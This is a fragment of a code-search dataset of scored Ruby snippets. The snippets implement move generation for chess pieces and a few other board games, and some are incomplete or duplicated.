"text": "def next_moves\n\t\tmoves = [ [ @x + 2, @y + 1 ], [ @x + 2, @y - 1 ], [ @x + 1, @y + 2 ],\n\t\t\t\t\t\t [ @x + 1, @y - 2 ], [ @x - 1, @y + 2 ], [ @x - 1, @y - 2 ],\n\t\t\t\t\t\t [ @x - 2, @y + 1 ], [ @x - 2, @y -1 ] ]\n\t\tmoves.map { |move| Knight.new(move, @history) }\n\tend",
"title": ""
},
{
"docid": "683a4d9130df0b23d7d910f2152f68e9",
"score": "0.7190776",
"text": "def generate_moves\n pick_delta.each do |step|\n #regular move opening for pawn\n if step == [1,0] || step == [-1,0]\n new_pos = [@pos[0] + step[0], @pos[1] + step[1]]\n if valid_coord?(new_pos) && @board[new_pos].nil?\n @move_list << new_pos\n end\n end\n #opening move for pawn (double step)\n if step == [1,0] && @move_history.empty? || step == [-1,0] && @move_history.empty?\n new_pos1 = [@pos[0] + step[0], @pos[1] + step[1]]\n new_pos2 = [@pos[0] + step[0] * 2, @pos[1] + step[1] * 2]\n if valid_coord?(new_pos1) && @board[new_pos1].nil? && valid_coord?(new_pos2) && @board[new_pos2].nil?\n @move_list << new_pos2\n end\n end\n #capture move for pawn\n if [[1,1],[1,-1], [-1,1],[-1,-1]].include?(step)\n new_pos = [@pos[0] + step[0], @pos[1] + step[1]]\n #if there's a piece of opposing color capture it\n if valid_coord?(new_pos) && !@board[new_pos].nil?\n other_piece = @board[new_pos]\n @move_list << new_pos if @color != other_piece.color\n end\n #if it's an empty square, check for en passant\n if valid_coord?(new_pos) && @board[new_pos].nil?\n adjacent_square = [@pos[0], @pos[1] + step[1]]\n #puts adjacent_square.inspect\n if valid_coord?(adjacent_square) && @board[adjacent_square].class == Pawn\n #puts new_pos.inspect\n @move_list << new_pos if @board[adjacent_square].en_passant_target?\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "5de9f0030c89592f17b82b7c98c70906",
"score": "0.7185035",
"text": "def moves\n one_step_ahead = [pos[0] + move_dir, pos[1]]\n two_steps_ahead = [pos[0] + (2 * move_dir), pos[1]]\n moves = [one_step_ahead, two_steps_ahead]\n moves.reject! { |move| Board.offboard?(move) || hits_piece?(move) }\n\n MOVES.each do |offset|\n current_pos = pos\n color_offset = [offset[0] * move_dir, offset[1]]\n current_pos = [current_pos[0] + color_offset[0], current_pos[1] + color_offset[1]]\n moves << current_pos unless Board.offboard?(current_pos) || cannot_take_piece?(current_pos)\n end\n\n moves\n end",
"title": ""
},
{
"docid": "c80686cd270c7373a48af866d51d35e4",
"score": "0.7181087",
"text": "def get_all_possible_moves\n possible_moves = []\n @MOVES.each do |arr|\n possible_moves += get_possible_moves(arr)\n end\n possible_moves\n end",
"title": ""
},
{
"docid": "a7482a5a2c37a3fb57f36913f2da538e",
"score": "0.71479315",
"text": "def possible_moves\n\t\t\tmoves = []\n\n\t\t\t[ :row, :col ].each{ |axis|\n\t\t\t\t[ :next, :prev ].each{ |dir|\n\t\t\t\t\tcur_col, cur_row = @col, @row\n\t\t\t\t\thit_piece = false\n\t\t\t\t\twhile ( !hit_piece )\n\t\t\t\t\t\tcase axis\n\t\t\t\t\t\t\twhen :col then cur_col = cur_col.send( dir )\n\t\t\t\t\t\t\twhen :row then cur_row = cur_row.send( dir )\n\t\t\t\t\t\tend\n\t\t\t\t\t\thit_piece = board[ cur_col, cur_row ]\n\t\t\t\t\t\tif !hit_piece or hit_piece.color != self.color\n\t\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\t\tmoves << Move.new( self, cur_col, cur_row, hit_piece )\n\t\t\t\t\t\t\trescue Board::OutOfBoundsError\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tmoves\n\t\tend",
"title": ""
},
{
"docid": "90c34058691d35d1954027937a10879d",
"score": "0.71476007",
"text": "def moves\n possible_moves = []\n\n self.move_dirs.each do |dir|\n num_steps = 1\n\n loop do\n\n next_step = [dir[0]*num_steps, dir[1]*num_steps]\n next_pos = [self.pos[0] + next_step[0], self.pos[1] + next_step[1]]\n\n if !next_pos[0].between?(0,7) || !next_pos[1].between?(0,7)\n break\n end #refactor with .all?\n\n # if there is something in the next_pos square\n unless self.board[next_pos[0], next_pos[1]].nil?\n other_piece_color = self.board[next_pos[0], next_pos[1]].color\n\n if self.color == other_piece_color\n break\n else\n possible_moves << next_pos\n break\n end\n\n else\n possible_moves << next_pos\n num_steps += 1\n end\n\n end\n end\n\n possible_moves\n end",
"title": ""
},
{
"docid": "3cab0784963507b982d153aa2307570d",
"score": "0.7142804",
"text": "def moves\n moves = []\n\n steps = move_dirs\n\n steps.each do |step|\n current_pos = [@position[0]+step[0], @position[1]+step[1]]\n while on_board?(current_pos)\n moves << current_pos\n break if @board.occupied?(current_pos)\n # Break stops moving past other pieces.\n # Includes captures, even \"capturing\" own pieces!\n current_pos = [current_pos[0] + step[0], current_pos[1] + step[1]]\n end\n end\n\n moves\n end",
"title": ""
},
{
"docid": "6b83417d01aa44d3c570a93357dd9642",
"score": "0.71259695",
"text": "def legal_moves(state)\n # puts \"Generating moves for piece at #{@location}...\"\n position = state[:position]\n move_list = []\n # Check whether in the middle of a series of captures\n if state[:moving_piece]\n if state[:moving_piece] != @location\n return []\n end\n # Add captures only\n move_list += generate_captures(state)\n else\n # Add both normal moves and captures\n move_list += generate_moves(state)\n move_list += generate_captures(state)\n end\n # (En passant capture no yet implemented)\n # Return move list\n move_list\n end",
"title": ""
},
{
"docid": "01a40abf375c1186b021a02e01d361e0",
"score": "0.7110716",
"text": "def moves\n @moves ||= move_pairs.flatten\n end",
"title": ""
},
{
"docid": "becb216cbcc5c6687c04ddd0f121c659",
"score": "0.7107176",
"text": "def moves\n collected = []\n move_dirs.each do |position|\n dx, dy = position\n new_move = grow_unblocked_moves_in_dir(dx, dy)\n # new_move = [(@pos[0] + position[0]), (@pos[1] + position[1])]\n collected << new_move if (@board.valid_position?(new_move)) \n # OR on the board and contains a piece of the opposite color\n end\n collected\n # create array to collect moves\n \n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n \n # return the final array of moves (containing all possible moves in all directions)\n end",
"title": ""
},
{
"docid": "0a30581d9fca76ebd317aafd42c71d93",
"score": "0.7048005",
"text": "def get_all_possible_moves\n possible_moves = []\n @STRAIGHT_MOVES.each do |arr|\n possible_moves += get_possible_moves(arr)\n end\n @DIAGONAL_MOVES.each do |arr|\n possible_moves += get_possible_moves(arr)\n end\n possible_moves\n end",
"title": ""
},
{
"docid": "98c9564d52e27b9271990bb8a84922bc",
"score": "0.7042757",
"text": "def possible_moves\n return @possible_moves if @possible_moves\n @possible_moves = []\n calculate_directions!(@possible_moves)\n calculate_captures!(@possible_moves)\n @possible_moves\n end",
"title": ""
},
{
"docid": "a5259ad8fa9a3df5803fc756022c71b8",
"score": "0.7026386",
"text": "def possible_moves\r\n moves = []\r\n @reach.downto(-@reach) {|num| moves << num}\r\n moves = moves.repeated_permutation(2).to_a\r\n moves = apply_directions(moves)\r\n moves = apply_location(moves)\r\n moves = apply_board_limits(moves)\r\n moves = apply_relative_pieces(moves)\r\n moves.delete_if { |move| checkable_move?(move[0], move[1]) }\r\n end",
"title": ""
},
{
"docid": "c7feb5dc33f6b6b0b3967ca0d3100cf0",
"score": "0.70230144",
"text": "def moves\n directions = self.move_dirs\n possible_moves = []\n\n directions.each do |direction|\n moves_arr = grow_unblocked_moves_in_dir(direction.first, direction.last)\n possible_moves += moves_arr\n end\n\n possible_moves\n end",
"title": ""
},
{
"docid": "56e8f5f5ad083164d24b918e9defe859",
"score": "0.7018651",
"text": "def generate_moves\n @delta.each do |step|\n new_pos = [@pos[0] + step[0], @pos[1] + step[1]]\n @move_list << new_pos if valid_coord?(new_pos)\n end\n #if castling conditions are met, add the appropriate king moves\n #if king hasn't moved and is not currently in check\n if @move_history.empty? && !@board.in_check?(@color)\n #select rooks that are the same color as king and hasn't moved yet\n rooks = @board.all_pieces.select { |piece| piece.class == Rook && piece.color == @color && piece.move_history.empty? }\n rooks.each do |rook|\n #for each rook, check if there is no piece between it and the king\n king_file = @pos[1]\n rook_file = rook.pos[1]\n between = rook_file < king_file ? ((rook_file + 1)...king_file) : ((king_file + 1)...rook_file)\n #if the squares between the current rook and king are are empty\n #check if the king's castle path for any potential checks\n #if\n if between.all? { |file| @board[[@pos[0], file]].nil? }\n if rook_file < king_file\n if between.all? { |file| into_check?([@pos[0], file]) == false }\n @move_list << [@pos[0], 2]\n end\n else\n if between.all? { |file| into_check?([@pos[0], file]) == false }\n @move_list << [@pos[0], 6]\n end\n end\n end\n\n end\n end\n end",
"title": ""
},
{
"docid": "c19b6b8e8efe43bf1a82dc855b6fc8e2",
"score": "0.70122576",
"text": "def moves\n # create array to collect moves\n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method for each direction)\n\n # return the final array of moves (containing all possible moves in all directions)\n end",
"title": ""
},
{
"docid": "1d6698b67e185e2a991fb7079602702d",
"score": "0.6998184",
"text": "def moves # array of all possible moves\n all_moves = []\n move_dirs.each { |dir| all_moves += grow_unblocked_moves_in_dir(dir[0], dir[1]) }\n\n all_moves\n end",
"title": ""
},
{
"docid": "b4479fe0b6b1a2dd2022e3bd03b2a0fa",
"score": "0.69448555",
"text": "def possible_moves\n\t\t\tmoves = []\n\t\t\t\n\t\t\t# Move one up, unless a piece is in the way\n\t\t\tnext_row = ( color == WHITE ) ? @row.next : @row.prev\n\t\t\tbegin\tmoves << Move.new( self, @col, next_row ) unless board[ @col, next_row ]\n\t\t\trescue Board::OutOfBoundsError; end\n\n\t\t\t# Jump two ahead, if we could move one ahead\n\t\t\tif !moved? && moves.length > 0\n\t\t\t\tjump_row = ( color == WHITE ) ? next_row.next : next_row.prev\n\t\t\t\tbegin\tmoves << Move.new( self, @col, jump_row ) unless board[ @col, jump_row ]\n\t\t\t\trescue Board::OutOfBoundsError; end\n\t\t\tend\n\n\t\t\t# Capture diagonally one way...\t\t\t\n\t\t\tcol = @col.next\n\t\t\tdest_piece = board[ col, next_row ]\n\t\t\tif dest_piece && dest_piece.color != color\n\t\t\t\tbegin moves << Move.new( self, col, next_row, dest_piece ) \n\t\t\t\trescue Board::OutOfBoundsError; end\n\t\t\tend\n\n\t\t\t# ...and then the other\n\t\t\tcol = @col.prev\n\t\t\tdest_piece = board[ col, next_row ]\n\t\t\tif dest_piece && dest_piece.color != color\n\t\t\t\tbegin moves << Move.new( self, col, next_row, dest_piece ) \n\t\t\t\trescue Board::OutOfBoundsError; end\n\t\t\tend\n\t\t\t\n\t\t\t# todo - en-passant\n\t\t\t\n\t\t\tmoves\n\t\tend",
"title": ""
},
{
"docid": "e6e9c16340d53f347c45d59731cc4800",
"score": "0.69404846",
"text": "def moves\n moves = []\n\n #call move_dirs and generate moves\n move_dirs.each do |x,y|\n moves += valid_positions(x,y)\n end\n moves\n end",
"title": ""
},
{
"docid": "994b75f9f97236121f2f31b0f09c90fb",
"score": "0.69303346",
"text": "def moves\n all_moves = []\n move_dirs.each do |ele|\n all_moves.concat(grow_unblocked_moves_in_dir(ele[0], ele[1])) \n end\n all_moves\n end",
"title": ""
},
{
"docid": "b324abd7b18cbf817d260e4dc1417553",
"score": "0.69254446",
"text": "def possible_moves\n retr = []\n retr += forward(pos,motions[:forward]) if motions[:forward]\n retr += backward(pos,motions[:backward]) if motions[:backward]\n retr += diagonal(pos, motions[:diagonal]) if motions[:diagonal]\n retr += horizontal(pos, motions[:horizontal]) if motions[:horizontal]\n retr += ell(pos) if motions[:ell]\n\n retr\n end",
"title": ""
},
{
"docid": "89a0f36ed7eeb66c78b76c68111ce40f",
"score": "0.69188064",
"text": "def moves\n moves = []\n\n move_dirs.each do |dir|\n moves += grow_unblocked_moves_in_dir(dir[0], dir[1])\n end\n #(current-piece).move_dirs.each fo |dir| => iterate across each possible direction\n moves\n end",
"title": ""
},
{
"docid": "fcf8e6533cf3fc8630e9418167d02ecd",
"score": "0.6914724",
"text": "def moves\n possible_moves = []\n deltas.each do |delta|\n new_pos = [\n position[0] + delta[0],\n position[1] + delta[1]\n ]\n if board.in_bounds?(new_pos)\n if board.piece_at?(new_pos)\n unless board[new_pos].color == color\n possible_moves << new_pos\n end\n else\n possible_moves << new_pos\n end\n end\n end\n possible_moves\n end",
"title": ""
},
{
"docid": "0b2241082533b74f4f5806282d133e20",
"score": "0.6892177",
"text": "def moves\n allowed_directions = move_dir\n move_offsets = allowed_directions.map { |direction| DIRECTIONS[direction] }\n valid_moves = []\n\n\n move_offsets.each do |offsets|\n offsets[0].each do |row_offset|\n offsets[1].each do |col_offset|\n step = 1\n row, col = self.position\n while (row + step * row_offset).between?(0,7) && (col + step * col_offset).between?(0,7)\n test_pos = [row +step * row_offset, col + step * col_offset]\n outcome = valid_move?(test_pos)\n if outcome.nil?\n valid_moves << test_pos\n break\n elsif outcome\n valid_moves << test_pos\n else\n break\n end\n step += 1\n end\n end\n end\n end\n valid_moves\n end",
"title": ""
},
{
"docid": "e99de260c7c3a8586d95874ca20dc9cc",
"score": "0.6858958",
"text": "def build_moves\n moves = (Move.all - board.moves_of_color(color)).to_a\n\n moves.unshift(*valid_known_legals)\n\n self.moves = moves.select do |move|\n most_alike_board.square_is_color? move.origin, color\n end\n end",
"title": ""
},
{
"docid": "46eed876af66c33b7ac4e3b9e8c3d51a",
"score": "0.6855081",
"text": "def generate_moves(board, origin, checking = false)\n king_spot = board.king_spot\n spots = board.spots\n moves = []\n @move_steps.each do |move_step|\n move = increment_move(origin, move_step)\n move_step[2].times do\n break if spots[move] == nil\n break if spots[move] != 0 && spots[move].color == @color\n if checking && moving_self_checks(board, origin, move, king_spot)\n break if spots[move] != 0\n move = increment_move(move, move_step)\n next\n end\n moves << move\n break if spots[move] != 0\n move = increment_move(move, move_step)\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "f7146309a297c6324d511e860db84f06",
"score": "0.68550754",
"text": "def moves\n all_moves = []\n directions = move_dirs\n directions.each do |direction|\n all_moves += grow_unblocked_moves_in_dir(*direction)\n end\n all_moves\n end",
"title": ""
},
{
"docid": "eeef721365b612047531ea5ec03f57f8",
"score": "0.68288136",
"text": "def valid_moves # used by misstep for test moves.\n moves = []\n\n (0..7).each do |x|\n (0..7).each do |y|\n moves.push(Move.new(x, y)) if valid_move?(x, y)\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "33e2e711ba5b6971ab92fdab85b18299",
"score": "0.68120164",
"text": "def possible_moves\n @possible_moves = []\n @possible_moves = @legal_moves + @capture_moves + en_passant?\n end",
"title": ""
},
{
"docid": "48494acf6c13405e18343b73a9995913",
"score": "0.68119067",
"text": "def possible_moves\n moves = []\n row = location[0]\n column = location[1]\n moves += down_moves(row, column) + up_moves(row, column) +\n left_moves(row, column) + right_moves(row, column)\n end",
"title": ""
},
{
"docid": "78350a006cb6a7225ec690b300c3af4b",
"score": "0.6798039",
"text": "def get_valid_moves (state)\n cur_state = state\n if !state.present?\n cur_state = self.state\n end\n result = Array.new\n @@valid_moves.each do |f|\n f.each do |t|\n move = @@valid_moves.index(f).to_s + '.' + t.to_s\n jump = self.get_jump(move)\n move += '.' + jump.to_s\n if self.is_valid_move(move, cur_state)\n result.unshift(move)\n end\n end\n end\n return result\n end",
"title": ""
},
{
"docid": "60e71442cf97d23efa924a742d9ef663",
"score": "0.6789046",
"text": "def moves\n # debugger\n # create array to collect moves\n valid_moves = []\n\n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n # helper method produces the possible moves in that given direction\n self.move_dirs.each do |dir|\n valid_moves += grow_unblocked_moves_in_dir(*dir)\n end\n valid_moves\n # return the final array of moves (containing all possible moves in all directions)\n end",
"title": ""
},
{
"docid": "b5ed8f9f140c6511e3a08ae1f26c6311",
"score": "0.6784901",
"text": "def moves\n # create array to collect moves\n possible_moves = []\n \n # iterate over each of the directions in which a slideable piece can move\n # use the Piece subclass' `#move_dirs` method to get this info\n # for each direction, collect all possible moves in that direction\n # and add them to your moves array \n # (use the `grow_unblocked_moves_in_dir` helper method)\n self.move_dirs.each do |(dx, dy)|\n possible_moves << grow_unblocked_moves_in_dir(dx, dy)\n end\n \n # return the final array of moves (containing all possible moves in all directions)\n possible_moves\n end",
"title": ""
},
{
"docid": "384635ed2c6093b4bf873c8a6dadb3e8",
"score": "0.67833996",
"text": "def possible_moves\n moves = []\n \n (1..7).each do |x|\n (@row + x > 7)? x_1 = nil : x_1 = @row + x\n (@row - x < 0)? x_2 = nil : x_2 = @row - x\n (@column + x > 7)? y_1 = nil : y_1 = @column + x\n (@column - x < 0)? y_2 = nil : y_2 = @column - x\n \n moves << [x_1, @column]\n moves << [x_2, @column]\n moves << [@row, y_1]\n moves << [@row, y_2]\n moves << [x_1, y_1]\n moves << [x_2, y_1]\n moves << [x_1, y_2]\n moves << [x_2, y_2]\n end\n moves.delete_if {|moves| moves.include?(nil)}\n return moves\n end",
"title": ""
},
{
"docid": "f6b5c3f54481474c41c385185967d488",
"score": "0.6774953",
"text": "def moves\n directions = self.move_diffs\n possible_moves = []\n\n directions.each do |direction|\n new_position = [self.position.first + direction.first, self.position.last + direction.last]\n \n if self.board.valid_position?(new_position)\n \n # Move is valid if the current position is a NullPiece\n if self.board[new_position].is_a?(NullPiece)\n possible_moves << new_position\n next\n end\n \n # Move is invalid, can't move onto a Piece of the same color\n next if self.board[new_position].color == self.color\n \n # Move is valid, can move onto a Piece of a different color\n possible_moves << new_position\n end\n end\n\n possible_moves\n end",
"title": ""
},
{
"docid": "f622980a9c558a70c93b4e22b771c4c1",
"score": "0.676707",
"text": "def valid_moves\n valid_moves_arr = []\n all_moves = get_moves\n all_moves.each do |move|\n unless move_into_check?(move)\n valid_moves_arr << move\n end\n end\n valid_moves_arr\n end",
"title": ""
},
{
"docid": "1aa99cfc08c3159958cef3ed18832f09",
"score": "0.6725954",
"text": "def moves\n output = []\n if @color == :yellow\n @offsets = [[1, 0],[2, 0],[1, -1], [1, 1]]\n else\n @Offsets = [[-1, 0],[-2, 0],[-1, -1], [-1, 1]]\n end\n\n #Change the y direction of the move offsets to account for the black player being on the\n #opposite side of the board.\n\n @offsets.each {|offset| output << (offset.zip(@pos).map { |e| e.first + e.last })}\n\n #Only allow diagonals if capture possible\n output[-2..-1].each do |my_position|\n if !intersects_other?(my_position)\n idx = output.index(my_position)\n output[idx] = nil\n end\n end\n\n #Only allow forward move if destination is empty\n output[0..1].each do |my_position|\n if intersects_other?(my_position)\n idx = output.index(my_position)\n output[idx] = nil\n end\n end\n\n output.reject(&:nil?)\n end",
"title": ""
},
{
"docid": "e519c191aafa195307a33b353727b6e1",
"score": "0.67182297",
"text": "def get_moves\n moves = []\n x,y = @position\n RULES.each do |rule|\n moves << [x + rule[0], y + rule[1]]\n end\n moves\n end",
"title": ""
},
{
"docid": "da16875eef9f0e9a8d3f3b441787b472",
"score": "0.6715951",
"text": "def generate_possible_moves(board)\r\n @possible_moves = []\r\n case @type_piece\r\n when :alf\r\n generate_moves_alf(board)\r\n when :re\r\n generate_moves_re(board)\r\n when :torr\r\n generate_moves_torr(board)\r\n when :reg\r\n generate_moves_reg(board)\r\n when :cav\r\n generate_moves_cav(board)\r\n when :ped\r\n generate_moves_ped(board)\r\n else\r\n @log.error \"Generate moves on #{@type_piece}: unknown piece type\"\r\n end\r\n end",
"title": ""
},
{
"docid": "4784603748d23fa24a1358601a7d493a",
"score": "0.6708464",
"text": "def generate_moves(n, row_dir, col_dir)\n moves = []\n (1..n).each do |i| \n new_row = row + i*row_dir\n new_col = col + i*col_dir\n break if (new_row > 7 || new_row < 0) || (new_col > 7 || new_col < 0)\n target = board.at(new_row, new_col)\n if target.is_a? Piece\n moves << [i*row_dir, i*col_dir] unless target.color == self.color\n break\n else\n moves << [i*row_dir, i*col_dir]\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "bc08a0d7f2ba180f4e8b66604713d170",
"score": "0.67052686",
"text": "def all_moves\n inject([]) { |accum, track | accum << [:left, track[1], track[0]] << [:right, track[0], track[1]] }\n end",
"title": ""
},
{
"docid": "c64e9d6d86fffdb15c691009b0d84b52",
"score": "0.67046905",
"text": "def moves\n moves = []\n moves.concat(horizontal_dirs)\n moves.concat(diagonal_dirs)\n moves\n end",
"title": ""
},
{
"docid": "f938ae8698adb5279f270b6363bd11a5",
"score": "0.6692265",
"text": "def moves\n all_moves = []\n pos = self.pos\n\n DIFFS[self.move_dirs].each do |delta_arr|\n all_moves.concat(get_moves(pos, delta_arr))\n end\n all_moves\n end",
"title": ""
},
{
"docid": "e0e32e3fa42d21f003b6c2c91cc2feaa",
"score": "0.66813135",
"text": "def possible_moves\n moves = []\n\n @data.each_with_index do |row, y|\n row.each_with_index do |e, x|\n moves << [y, x] if e.nil?\n end\n end\n\n moves\n end",
"title": ""
},
{
"docid": "d6f077f738a4cf5c79c49124e0da757d",
"score": "0.66790116",
"text": "def possible_moves\r\n moves = [[-1, 2], [1, 2], [2, 1], [2, -1], [1, -2], [-1, -2], [-2, -1], [-2, 1]]\r\n moves = apply_location(moves)\r\n moves = apply_board_limits(moves)\r\n moves = apply_relative_pieces(moves)\r\n end",
"title": ""
},
{
"docid": "217531f62642fad3bbac428d003d2b1b",
"score": "0.6677708",
"text": "def possibles_moves(state)\n actions = []\n pieces(state).each do |piece|\n e = moves_by_piece(state, piece)\n actions.concat(e) unless e.empty?\n end\n actions\n end",
"title": ""
},
{
"docid": "5d1d922cbd20879f797f97da030f6d11",
"score": "0.6666353",
"text": "def possible_moves\n moves = []\n [0,1,2].each do |row|\n [0,1,2].each do |col|\n moves << [row,col] if @board[row][col] == SPACE_EMPTY\n end\n end\n moves\n end",
"title": ""
},
{
"docid": "725f70fda0d4acd01f0a1a389338859c",
"score": "0.6666075",
"text": "def moves\n current_row, current_column = self.position\n possible_moves = []\n unless initial_move\n possible_moves << [current_row + 1, current_column]\n possible_moves << [current_row + 2, current_column]\n else\n #Move 2 times\n #is there a eatable piece diagonal from pawn? if so, move diagonally one square\n #otherwise\n possible_moves << [current_row + 1, current_column]\n end\n\n #initial_move = true\n possible_moves\n end",
"title": ""
},
{
"docid": "47ed31e09423ec8e97728c5f39722a48",
"score": "0.66505253",
"text": "def moves\n pos_moves = []\n\n move_dirs.each do |dx, dy|\n pos_moves.concat(grow_unblocked_moves_in_dir(dx, dy))\n end\n\n pos_moves\n end",
"title": ""
},
{
"docid": "ceb88feaaf3d13796a10ef258e7f25cd",
"score": "0.66425955",
"text": "def move_pairs\n @move_pairs ||= extract_moves\n end",
"title": ""
},
{
"docid": "c9cc3cf35d9b3f46cb8d5bb7957c2538",
"score": "0.6636204",
"text": "def get_all_ant_moves(q,r)\n saved_pieces = @board[[q,r]]\n @board[[q,r]] = nil\n que = [[q,r]]\n visit_list = []\n while !que.empty?\n new_que = []\n visit_list = (visit_list + que).uniq\n que.each do |node|\n moves = list_moves_step(node)\n new_que = (new_que + (moves - visit_list)).uniq\n end\n que = new_que\n end\n @board[[q,r]] = saved_pieces\n return visit_list - [[q,r]]\n end",
"title": ""
},
{
"docid": "65be185c0f104a84b3bce94b7abb58a9",
"score": "0.6631303",
"text": "def moves\n @moveset[0..-1].freeze\n end",
"title": ""
},
{
"docid": "06cbc9abc79854bd6c4dd567462bce19",
"score": "0.662454",
"text": "def moves\n moves = []\n move_dirs.each do |poss_move|\n dx, dy = poss_move\n moves += grow_unblocked_moves_in_dir(dx, dy)\n end\n moves\n end",
"title": ""
},
{
"docid": "06bce14b3bf6bdfc9fa9b741dda356d5",
"score": "0.66138315",
"text": "def moves\n moveset = []\n\n move_dirs.each do |direction|\n x,y = @pos[0] + direction[0],@pos[1] + direction[1]\n next unless [x,y].all?{|i| i.between?(0,7)}\n #advance\n if board[[x,y]].nil?\n moveset << [x,y]\n #attack\n elsif board[[x,y]].color != color\n x,y = @pos[0] + direction[0]*2,@pos[1] + direction[1]*2\n next unless [x,y].all?{|i| i.between?(0,7)}\n if board[[x,y]].nil?\n moveset << [x,y]\n end\n end\n end\n moveset\n end",
"title": ""
},
{
"docid": "9dd1b38af8c48b78ed569b4d617d95f5",
"score": "0.661149",
"text": "def potential_moves\n pos_x = @position.first\n pos_y = @position.last\n positions = []\n (0...pos_x).each do |x|\n positions << [x, pos_y]\n end\n (pos_x...8).each do |x|\n positions << [x, pos_y]\n end\n (0...pos_y).each do |y|\n positions << [pos_x, y]\n end\n (pos_y...8).each do |y|\n positions << [pos_x, y]\n end\n positions.delete([pos_x, pos_y])\n return positions\n end",
"title": ""
},
{
"docid": "9dd1b38af8c48b78ed569b4d617d95f5",
"score": "0.661149",
"text": "def potential_moves\n pos_x = @position.first\n pos_y = @position.last\n positions = []\n (0...pos_x).each do |x|\n positions << [x, pos_y]\n end\n (pos_x...8).each do |x|\n positions << [x, pos_y]\n end\n (0...pos_y).each do |y|\n positions << [pos_x, y]\n end\n (pos_y...8).each do |y|\n positions << [pos_x, y]\n end\n positions.delete([pos_x, pos_y])\n return positions\n end",
"title": ""
},
{
"docid": "7c752d70e737c915e8914369b38ab478",
"score": "0.66113424",
"text": "def safe_moves\n moves = []\n available_moves.each do |move|\n new_board = board.dup\n new_board.make_move(position, move)\n\n moves << move unless new_board.in_check?(color)\n end\n moves\n end",
"title": ""
},
{
"docid": "567b1de64bb5d40a091b60665dd05d28",
"score": "0.6605646",
"text": "def new_move_positions(position)\n # possible_moves = []\n # move1 = start_position\n \n idx = 1\n idx2 = 2\n new_arr = []\n (0...4).each do |i|\n idx *= -1 if i == 2\n new_arr << [position[0]+idx, position[1]+idx2]\n idx2 *= -1\n end\n\n reverse_arr = []\n new_arr.each do |pos|\n reverse_arr << pos.reverse\n end\n\n all_possible_moves = new_arr + reverse_arr\n all_possible_moves = all_possible_moves.uniq.select do |pos| \n KnightPathFinder.valid_moves(pos) && \n !@considered_positions.include?(pos)\n end\n all_possible_moves.each do |position|\n @considered_positions.add(position)\n end\n all_possible_moves\n end",
"title": ""
},
{
"docid": "73a4be1a15997d34045085eeb980feb4",
"score": "0.66027236",
"text": "def moves\n #byebug\n # potential_moves = []\n # valid_moves = []\n # STRAIGHT.each do |diff|\n # x, y = diff\n # potential_moves << [x + position[0], y + position[1]]\n # end\n #\n # until potential_moves.empty?\n # byebug\n # x, y = potential_moves.shift\n # tested_move = [grow_unblocked_moves_in_dir(x, y)]\n # valid_moves += tested_move unless tested_move.nil?\n # potential_moves += tested_move unless tested_move == [nil]\n # end\n # valid_moves\n\n end",
"title": ""
},
{
"docid": "5bf4a3e2a2fd9462781dd911a26394f8",
"score": "0.660043",
"text": "def get_moves\n moves = []\n loop do\n input = get_key_press\n if input == :enqueue\n moves << self.board.cursor\n elsif input == :return\n moves << self.board.cursor\n return moves\n end\n end\n moves.uniq\n end",
"title": ""
},
{
"docid": "a963a031e6578856eed51d57aa7b3836",
"score": "0.65873635",
"text": "def legal_moves\n @check_move = []\n @capture_moves = []\n @legal_moves = []\n get_legal_move(-1, -2)\n get_legal_move(-1, 2)\n get_legal_move(1, -2)\n get_legal_move(1, 2)\n @legal_moves\n end",
"title": ""
},
{
"docid": "d41e31d3c380abee5585e66ae344c66e",
"score": "0.65857995",
"text": "def all_moves_from_pos(current_pos)\n x = current_pos.first\n y = current_pos.last\n moves = []\n new_move = []\n duo = true\n nega = false\n fur = false\n i = 0\n while i < 8\n if duo == true && nega == false && fur == false\n nega = true\n moves << [x + 2, y + 1]\n elsif duo == true && nega == true && fur == false\n nega = false\n fur = true\n moves << [x + 2, y - 1]\n elsif duo == true && nega == false && fur == true\n nega = true\n moves << [x - 2, y + 1]\n elsif duo == true && nega == true && fur == true\n nega = false\n duo = false\n fur = false\n moves << [x - 2, y - 1]\n elsif duo == false && nega == false && fur == false\n nega = true\n moves << [x + 1, y + 2]\n elsif duo == false && nega == true && fur == false\n nega = false\n fur = true\n moves << [x + 1, y - 2]\n elsif duo == false && nega == false && fur == true\n nega = true\n moves << [x - 1, y + 2]\n else\n moves << [x - 1, y - 2]\n end\n i += 1\n end\n moves\n end",
"title": ""
},
{
"docid": "138f1d4033af0c27f54218fb486d8228",
"score": "0.65803784",
"text": "def get_all_possible_moves\n get_set_moves(MOVES)\n end",
"title": ""
},
{
"docid": "138f1d4033af0c27f54218fb486d8228",
"score": "0.65803784",
"text": "def get_all_possible_moves\n get_set_moves(MOVES)\n end",
"title": ""
},
{
"docid": "5cc9d0caab94ef239876a0c68d474067",
"score": "0.65765786",
"text": "def moves\n total_moves = []\n # grow each move unblocked in each possible dir, and add to possible moves\n move_dirs.each do |dx,dy|\n total_moves.concat(grow_unblocked_moves_in_dir(dx,dy))\n end\n total_moves\n end",
"title": ""
},
{
"docid": "4fb59de241e211a4eb564b9734428c5b",
"score": "0.6560168",
"text": "def moves\n #create array to collect moves\n\n #iterate over each of the directions in which a slideable piee can move\n #use the Piece subclass' \"#move dirs\"\n\n end",
"title": ""
},
{
"docid": "a81d08fdccd7a0c9203591a90738b65c",
"score": "0.65571153",
"text": "def possible_moves\n moves = []\n row = location[0]\n column = location[1]\n moves += northwest_moves(row, column) + northeast_moves(row, column) +\n southwest_moves(row, column) + southeast_moves(row, column)\n end",
"title": ""
},
{
"docid": "7613e9fd2a11263eeb25d9b1739db38d",
